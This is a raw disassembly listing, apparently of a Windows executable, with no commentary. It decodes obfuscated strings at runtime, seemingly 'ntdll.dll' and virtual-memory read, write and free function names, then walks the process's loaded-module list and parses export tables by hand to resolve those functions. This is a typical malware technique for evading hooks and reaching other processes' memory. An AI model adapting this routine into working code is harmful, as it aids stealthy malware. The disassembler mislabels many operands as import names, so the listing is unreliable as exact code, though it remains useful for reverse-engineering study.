mov byte [rbp + 0x704], al
lea r9d, [rdi + 2]
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + 0x705], al
xor eax, eax
mov byte [rbp + 0x706], al
mov esi, eax
lea r15d, [rdi - 0x12]
mov r9d, reloc.WS2_32.dll_setsockopt
mov r8, rsi
mov dl, byte [rbp + rsi + 0x6f1]
lea rcx, [rbp + 0x6f0]
call fcn.1400372e8
mov byte [rbp + rsi + 0x6f1], al
add rsi, r15
cmp rsi, 0x15
jb 0x14002ad5a
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi - 4]
xor r13d, r13d
mov byte [rbp + 0x706], r13b
mov byte [rbp + 0x1c0], WSASetLastError
lea ebx, [rsi - 0xb]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + 0x1c1], al
mov r9d, ebx
lea ebx, [rsi - 0x13]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + 0x1c2], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + 0x1c3], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + 0x1c4], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + 0x1c5], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + 0x1c6], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + 0x1c7], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + 0x1c8], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + 0x1c9], al
xor eax, eax
mov byte [rbp + 0x1ca], al
mov r9d, 9
mov r8, r13
mov dl, byte [rbp + r13 + 0x1c1]
lea rcx, [rbp + 0x1c0]
call fcn.140037108
mov byte [rbp + r13 + 0x1c1], al
add r13, rbx
cmp r13, 9
jb 0x14002aea6
mov ebx, reloc.WS2_32.dll_recvfrom
xor ecx, ecx
mov byte [rbp + 0x1ca], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002b237
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002af7a
lea r14d, [rax + 1]
mov r10d, r14d
mov rsi, qword [rsp + 0x68]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r14d
add rdx, r14
cmp rdx, r8
jl 0x14002af4e
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 0xc]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002afd6
mov rax, rcx
lea r9, [rbp + 0x1c1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002afcf
add rax, r11
test edx, edx
jne 0x14002afba
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x14002affc
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x14002af04
jmp 0x14002b232
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002b232
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002b232
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002b232
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002b232
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002b232
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6f1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002b08f
inc rax
test edi, edi
jne 0x14002b07a
xor edi, edi
test r8d, r8d
je 0x14002b0a4
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002b069
jmp 0x14002b232
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002b232
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002b232
mov edi, reloc.WS2_32.dll_send
xor r13d, r13d
mov qword [rbp + 0xf70], r13
mov byte [rbp + 0x4b0], 0x7b
mov r9, rdi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4b1], al
mov r9, rdi
lea r14d, [r13 + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4b2], al
mov r9, rdi
lea r8d, [r13 + 2]
mov dl, 0x52
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4b3], al
mov r9, rdi
lea r8d, [r13 + 3]
mov dl, 0x65
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4b4], al
mov r9, rdi
lea r8d, [r13 + 4]
mov dl, 0x61
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4b5], al
mov r9, rdi
lea r8d, [r13 + 5]
mov dl, 0x64
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4b6], al
mov r9, rdi
lea r8d, [r13 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4b7], al
mov r9, rdi
lea r8d, [r13 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4b8], al
mov r9, rdi
lea r8d, [r13 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4b9], al
mov r9, rdi
lea r8d, [r13 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4ba], al
mov r9, rdi
lea r8d, [r13 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4bb], al
mov r9, rdi
lea r8d, [r13 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4bc], al
mov r9, rdi
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4bd], al
mov r9, rdi
lea r8d, [r13 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4be], al
mov r9, rdi
lea r8d, [r13 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4bf], al
mov r9, rdi
lea r8d, [r13 + 0xf]
mov dl, 0x6d
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4c0], al
mov r9, rdi
mov r8, r15
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4c1], al
mov r9, rdi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4c2], al
mov r9, rdi
lea r8d, [r13 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + 0x4c3], al
xor eax, eax
mov byte [rbp + 0x4c4], al
mov r9, rdi
mov r8, r13
mov dl, byte [rbp + r13 + 0x4b1]
lea rcx, [rbp + 0x4b0]
call fcn.1400378fc
mov byte [rbp + r13 + 0x4b1], al
add r13, r14
cmp r13, rdi
jb 0x14002b451
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x4c4], dil
mov byte [rbp + 0x1d0], reloc.WLDAP32.dll_Ordinal_79
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + 0x1d1], al
mov r9d, ebx
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + 0x1d2], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + 0x1d3], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + 0x1d4], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + 0x1d5], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + 0x1d6], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + 0x1d7], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + 0x1d8], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + 0x1d9], al
xor eax, eax
mov byte [rbp + 0x1da], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1d1]
lea rcx, [rbp + 0x1d0]
call fcn.140037108
mov byte [rbp + rdi + 0x1d1], al
add rdi, rbx
cmp rdi, 9
jb 0x14002b595
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x1da], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002b936
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x70], edi
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002b660
lea r13d, [rax + 1]
mov r10d, r13d
mov rsi, qword [rsp + 0x68]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r13d
add rdx, r13
cmp rdx, r8
jl 0x14002b638
mov esi, reloc.WS2_32.dll_sendto
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002b6bc
mov rax, rcx
lea r9, [rbp + 0x1d1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002b6b5
add rax, r11
test edx, edx
jne 0x14002b6a0
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x14002b6e4
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
cmp rax, qword [rbp - 0x80]
je 0x14002b936
xor edi, edi
jmp 0x14002b5f2
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002b936
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002b936
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002b936
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002b936
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002b936
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4b1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002b777
mov rax, qword [rbp + 0xf70]
mov rcx, qword [rbp - 0x28]
mov qword [rcx], rax
lea rcx, [rbp + 0x1000]
call fcn.140037da8
mov rax, qword [rbp - 0x28]
add rax, 8
mov qword [rbp - 0x28], rax
xor ecx, ecx
cmp qword [rax], rcx
jne 0x14002864b
mov ecx, 0x1000
mov qword [rbp + 0xd88], rcx
mov rax, qword [rbp + 0xc28]
mov qword [rbp + 0xde8], rax
call fcn.140096274
mov qword [rsp + 0x78], rax
mov r8, qword [rbp + 0xd88]
xor edx, edx
mov rcx, rax
call fcn.1400bdea0
mov rax, qword [rbp + 0xd88]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0xde8]
mov qword [rbp + 0xc28], rax
mov byte [rbp + 0x588], Ordinal_41
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x589], al
mov r9, rsi
mov r14d, 1
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x58a], al
mov r9, rsi
lea r8d, [r14 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x58b], al
mov r9, rsi
lea r8d, [r14 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x58c], al
mov r9, rsi
lea r8d, [r14 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x58d], al
mov r9, rsi
lea r8d, [r14 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x58e], al
mov r9, rsi
lea r8d, [r14 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x58f], al
mov r9, rsi
lea r8d, [r14 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x590], al
mov r9, rsi
lea r8d, [r14 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x591], al
mov r9, rsi
lea r8d, [r14 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x592], al
mov r9, rsi
lea r8d, [r14 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x593], al
mov r9, rsi
lea r8d, [r14 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x594], al
mov r9, rsi
lea r8d, [r14 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x595], al
mov r9, rsi
lea r8d, [r14 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x596], al
mov r9, rsi
lea r8d, [r14 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x597], al
mov r9, rsi
lea r8d, [r14 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x598], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x599], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x59a], al
mov r9, rsi
lea r8d, [r14 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x59b], al
mov r9, rsi
lea r12d, [r14 + 0x12]
mov r8d, r12d
mov dl, 0x79
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + 0x59c], al
xor eax, eax
mov byte [rbp + 0x59d], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x589]
lea rcx, [rbp + 0x588]
call fcn.140037880
mov byte [rbp + rdi + 0x589], al
add rdi, r14
cmp rdi, rsi
jb 0x14002bbe7
xor edi, edi
mov byte [rbp + 0x59d], dil
mov byte [rbp + 0x1e0], bl
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + 0x1e1], al
mov r9d, r14d
lea r13d, [rdi + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + 0x1e2], al
mov r9d, r14d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + 0x1e3], al
mov r9d, r14d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + 0x1e4], al
mov r9d, r14d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + 0x1e5], al
mov r9d, r14d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + 0x1e6], al
mov r9d, r14d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + 0x1e7], al
mov r9d, r14d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + 0x1e8], al
mov r9d, r14d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + 0x1e9], al
xor eax, eax
mov byte [rbp + 0x1ea], al
lea r14d, [rdi + 0x20]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e1]
lea rcx, [rbp + 0x1e0]
call fcn.140037108
mov byte [rbp + rdi + 0x1e1], al
add rdi, r13
cmp rdi, 9
jb 0x14002bd23
xor r9d, r9d
mov byte [rbp + 0x1ea], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002be72
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002bdf0
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14002bdc4
mov esi, reloc.WS2_32.dll_sendto
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002be4c
mov rax, rcx
lea r9, [rbp + 0x1e1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002be45
add rax, r11
test edx, edx
jne 0x14002be30
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x14002c350
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x14002bd7b
mov dword [rbp - 0x60], r9d
mov edi, 1
mov rcx, qword [rsp + 0x78]
call fcn.140095ff0
xor eax, eax
cmp dword [rbp - 0x60], eax
jl 0x14002c7dc
mov byte [rbp + 0x4c8], Ordinal_27
mov r9, r12
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4c9], al
mov r9, r12
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4ca], al
mov r9, r12
mov r8d, 2
mov dl, 0x46
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4cb], al
mov r9, r12
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4cc], al
mov r9, r12
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4cd], al
mov r9, r12
mov r8d, 5
mov dl, 0x65
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4ce], al
mov r9, r12
mov r8d, 6
mov dl, 0x56
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4cf], al
mov r9, r12
mov r8d, 7
mov dl, 0x69
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d0], al
mov r9, r12
mov r8d, 8
mov dl, WSAStartup
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d1], al
mov r9, r12
mov r8d, 9
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d2], al
mov r9, r12
mov r8d, 0xa
mov dl, 0x75
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d3], al
mov r9, r12
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d4], al
mov r9, r12
mov r8d, ntohs
mov dl, 0x6c
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d5], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x4d
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d6], al
mov r9, r12
mov r8d, select
mov dl, 0x65
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d7], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x6d
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d8], al
mov r9, r12
mov r8, r15
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4d9], al
mov r9, r12
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4da], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x79
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + 0x4db], al
xor eax, eax
mov byte [rbp + 0x4dc], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x4c9]
lea rcx, [rbp + 0x4c8]
call fcn.1400378fc
mov byte [rbp + rdi + 0x4c9], al
add rdi, rbx
cmp rdi, r12
jb 0x14002c0bf
xor edi, edi
mov byte [rbp + 0x4dc], dil
mov byte [rbp + 0x1f0], 0x51
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + 0x1f1], al
mov r9d, ebx
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + 0x1f2], al
mov r9d, ebx
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + 0x1f3], al
mov r9d, ebx
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + 0x1f4], al
mov r9d, ebx
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + 0x1f5], al
mov r9d, ebx
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + 0x1f6], al
mov r9d, ebx
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + 0x1f7], al
mov r9d, ebx
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + 0x1f8], al
mov r9d, ebx
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + 0x1f9], al
xor eax, eax
mov byte [rbp + 0x1fa], al
lea ebx, [rdi + 0x11]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f1]
lea rcx, [rbp + 0x1f0]
call fcn.140037108
mov byte [rbp + rdi + 0x1f1], al
add rdi, r15
cmp rdi, 9
jb 0x14002c1fa
xor ecx, ecx
mov byte [rbp + 0x1fa], cl
mov rax, qword gs:[0x60]
test rax, rax
lea r15d, [rcx + 0x10]
je 0x14002c7dc
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002c2c9
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14002c29d
mov esi, reloc.WS2_32.dll_sendto
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
